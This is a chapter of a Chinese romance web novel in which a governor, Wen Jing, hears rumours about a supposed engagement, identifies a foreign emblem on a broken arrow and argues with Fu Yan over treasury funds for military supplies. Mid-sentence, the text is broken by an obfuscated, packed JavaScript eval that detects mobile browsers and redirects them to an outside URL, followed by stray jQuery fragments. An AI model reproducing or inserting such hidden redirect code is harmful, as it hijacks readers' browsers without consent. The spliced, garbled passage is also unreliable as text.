48.048

作品:《使君她拔了回头草

    安南城里有了新的传言。


    茶馆中,肩搭白巾的跑堂手提长嘴壶,一边利索地将桌上茶碗倒满,一边口若悬河:“咱们使君往门口一站,大袖一挥,请出那神草,那些恶人全都跪在地上瑟瑟发抖,当场便现了原型……”


    他那长嘴壶口朝虚空一划,“就门口这街上,从头到尾全跪满了人,那是打心眼里感激使君呀,要不是她,这倭寇的阴谋就得逞了!”


    “别说咱们这些平头百姓,就连瑞王世子都动了心,对使君那是一见钟情,恨不得当场就要同使君表明心意呢。”跑堂挤眉弄眼,吊着嗓子好像在说什么大秘密一般。


    桌上客商对使君桃色不感兴趣,只关心一事:“这神草,真有那么厉害?”


    “那是当然。”


    跑堂拿白巾一抹额头的汗,眉飞色舞:“使君说了,岭南神药众多,那是天赐珍宝。现在城里的仁济堂、怀仁堂哪个不忙着编修药经,好把岭南的药草都记上,让我们这些人也知道如何用草用药。”


    “您就看这茶汤,亦是放了草药,喝一壶便能清凉润肺,解乏强身,好处可多着呢!”


    这客商抿一口杯中茶,真品出了些别的滋味。念及神草两字,不由动了些心思,决意一会便到药堂走一遭。


    与这客商抱了同一想法的显然不在少数。


    顺路到仁济堂给温玖提药的温璟甫一进门,便被乌泱泱满屋子的人吓了一跳,以为城内又有疾病突发,忙令小二去寻唐青松来问个究竟。


    却不想唐青松见着她,开口便是一句:“使君可把小人害惨了。”


    见温璟拧眉不解,他不由摇摇头,苦笑着解释起来。


    医药不分家,但城内各药堂大都偏于一种,如仁济堂向来以医馆为主,药材单卖只是个添头。但因着那日,捧着神草出来的人是他唐青松,所以大批药材商闻风而来,直把唐青松逼成了药材贩子。


    说着,他自嘲地笑笑:“要是爹爹醒来发现仁济堂变药堂了,估计得给我请家法咯。”


    “有何不好?”温璟眉扬眼笑,望着口中抱怨但脸色晴朗的唐青松,打趣道:“如今周边州府谁不知你唐青松大名?一朝扬名你还不乐意上了?”


    唐青松笑道不敢。


    又想起一事,神色略滞,踌躇半晌才道:“眼下倒有一事想请使君代为决断。”


    “何事?”


    “说来亦是我井底之蛙。”他薄面上露出几分羞愧神色,“先前使君曾言定有一日要将安南良药远贩海外,我还道此事甚难。不想昨日便有海商主动来与我提及此事,说想同仁济堂合作,将药材贩至大罗国。您看此事可行得通?”


    “大罗国?”


    温璟有些诧异,蹙着眉想了一会才道:“我旧时曾听过大罗国之事,他们崇医善药,海商想将药材贩至大罗国倒不足为奇。但这买卖你是否能做……”她沉吟片刻才道:“此事我需再想想,明日你先将那海商带至府衙,我欲与他亲谈。”


    听温璟如是说,唐青松脸上松懈几分,连声道谢,亲自给她取了药再送她出门,转身便派人去约那海商明日相见。


    温璟提着药缓步走回官衙,凝眸沉思唐青松所言之事。


    药材海贩本就是十策中的一策,她本自有谋划,令官府与药农、药商三分其利。


    却不想海商嗅觉如此之敏,竟抢先想同药堂同谋做这生意。既然仁济堂有人去谈,想来其他药堂亦有人接触。


    若官府还想参与其中,就得趁现在入手,不然便是迟了……


    她神色愈凝,刚走到官衙门口便有了决断,正欲派人去寻傅琰明日来谈此事,就见正忙着夏赋一事的孙司马正大步而出。


    她收回刚刚的思绪,笑道:“数日未见,你看着清瘦不少,夏赋征收可还顺利?”


    孙司马被温璟这么一说,颇有些不好意思,暗自将半圆的肚子又吸了吸,简要地同她交代了夏赋之事。


    听到一切顺利,她心下松快不少。


    之前山洪冲毁了几个村子,她作主从安南府库中拨款赈灾,本就不富裕的安南府库又困乏几分,正等着这次夏赋弥补亏空。


    待孙司马说完,又叮嘱了一句,“如今安南府衙几百人就指着你这吃饭呢,切莫不能出现差错。”


    孙司马连连点头。说完正事,见温璟眉间松快,想起今日下属同他说的事,不由笑道:“听闻使君好事将近,待大喜日子定下,定要告知属下,安南虽困乏,亦要同您添添喜气。”


    “好事?”温璟讶然,以为他说的是生辰之事,摆摆手道:“只是个生辰,无须劳大家挂心。”


    孙司马呵呵一笑,“可不是生辰,说的是您和瑞王世子的大喜之事呀。”


    “什么?”


    温璟失声,眉头紧皱:“我何时同他有喜?”


    “我听城中都在传……您同瑞王世子早年定亲,他此次来安南便是亲自迎您回长安成亲的……”孙司马吞吞吐吐道。


    “这什么乱七八糟的!”温璟眉心直跳,低咒一句,见孙司马面露羞愧,长叹一声,正色道:“他只是我哥哥的好友,我同他之间并无旁的关系。若听他人传言,还望你帮我解释一遭。”


    “是是是。”孙司马连连点头,越发尴尬,语无伦次道:“都是谣传谣传,您没定亲,不定亲,也好也好……”


    听男人越描越黑,温璟不忍直视地摆摆手,放过他:“你有事便忙去吧。”


    不提飞快逃离现场的孙司马回头如何将谎报军情的下属骂个狗血淋头,单说温璟,就被这传言给劈得满脸焦黑,杏眸冒火。


    要不是孙司马说漏嘴,她竟不知这谣言能离谱至此!


    一路走进正堂,她满脑子想的都是如何同李逸尘撇清关系,要寻傅琰之事早被抛到脑后。


    却不想,一走进主屋,便见着一道许久未见的黑色身影,她脚步一顿。


    男人听到脚步声,转过身来,见着她,破天荒地笑了笑,不似之前那般傲气,倒多了几分讨好之意:“回来了?”


    正被那谣言劈得外焦里嫩,满心怒火的温璟自然不会有什么好脸色,单刀直入:“有事就说。”


    傅琰笑意一滞,垂着的手不自觉地蜷缩一下,稍顿片刻才从袖中掏出半截断箭,骨节分明的长指指着上面的“卍”字符,“你可认得这个符号?”


    温璟下意识皱眉,接过后提到眼前左右翻看,狐疑道:“此物……你从何处得到的?”


    男人不语,一双黑眸定在她脸上,刀唇紧抿。


    “不说就不说。”


    她本就极恼极他凡事瞒她的样子,眼下更是心烦,指腹摩挲一下那“卍”纹,冷声


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14543922|150743||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    道:“我见过一次,大罗国旗号,便是此符。”


    男人眼神骤凛,眸黑似渊,死死地盯住她,“当真?”


    她被这极具攻击性的目光盯得怒火更甚,粗喘几口才开口:“前岁,大罗国来使,我哥陪使臣到过太学,使臣礼服上便是此纹。你若不信,可以去问他。”


    傅琰身子一僵,伸手拿回断箭,反手藏在身后,低声道:“我信……此事,你忘了便是,不要同温玖提起。”


    当她稀得提起。


    她颇有几分不雅地翻个白眼,见男人没有要走的意思,不耐道:“还有事?”


    他不作声,眼神在她冒着怒火的脸上逡巡半晌,才迟疑道:“你,可是遇着难事?我许能做些什么……”


    他能做什么?


    温璟眼中倏然闪过黯色,牙关紧咬,心底抽痛。


    能替她驱走纠缠不休的男人?能替她堵上全城的嘴?


    他什么都不能。


    杏眸泠然若冰,她瞥他一眼,从牙缝间挤出四个字:“与你无关。”


    男人脸色有一瞬冷僵,她却只做看不见,飞快道:“有事就说,我还有别的事要忙。”


    明晃晃的赶人之语。


    傅琰自然听得懂,垂下的长睫掩去眼里的伤色,刀唇抿得不能更紧。


    那日她不告而别后,他被倭寇突袭、水道抢修之事搞得焦头烂额,一直拖到今日才寻着个公事的借口来府衙见她。


    本想缓和一下那日的僵局,却不想她今日怒火滔天,全然没有同他好好说话的意思。


    挣扎半晌。


    他终是放弃了心头的那点奢念,说起今日的来意:“安南军中军备老旧,我有意采一批军备,账款需从府库中拨,特意同你说一声。”


    “要多少?”


    “三万两。”


    “三万两?”


    她挑眉,满脸荒唐神色:“你疯了吗?如今安南府库拢共四万两出头,你是要带安南军洗劫府库出逃么?!”


    自丹花痧之疫后,府库便交温璟掌管,傅琰这一段并未问过府库之事。甫一得知府库剩余,他亦大惊:“几月前尚有六万余两,如何便用去这么多?”


    温璟深吸一口气,薄唇冷挑,掰着手指一项一项给他数来,最后扔下一句:“偌大安南,哪里筹建兴业不需要钱,府库乃安南民众所缴,可不只是你安南军的钱袋子!”


    他听她所数之事,除山洪水道外,其余尽是为推行十策所费,费用比他先前所想翻倍不止,心中亦生了薄怒。


    她只为民生所计,又何曾想过,若是安南军力不敌,待倭寇进犯,百姓又何来民生可计?!


    这般想来,他脸色愈差,咬着牙道:“你先前所说水道修建、十策推行后便可补足安南府库,解安南财力之乏,如今钱财在何处?”


    温璟闻言先是一怔,反应过来他指责之意后,杏眸俱是冷色,笑了半晌后才咬着牙道:“原来团练今日是来同我讨债的。”


    他不语,双拳紧攥,凤眸里火光微溅,气势迫人。


    屋内气氛一时僵窒,两人对望,谁也没有先低头的意思。


    许久,温璟弯唇一笑,凉声道:“我就直说了。你现在要钱,我确实没有。但这立马生钱的法子,倒有一条。”


    “就是不知,你敢不敢?”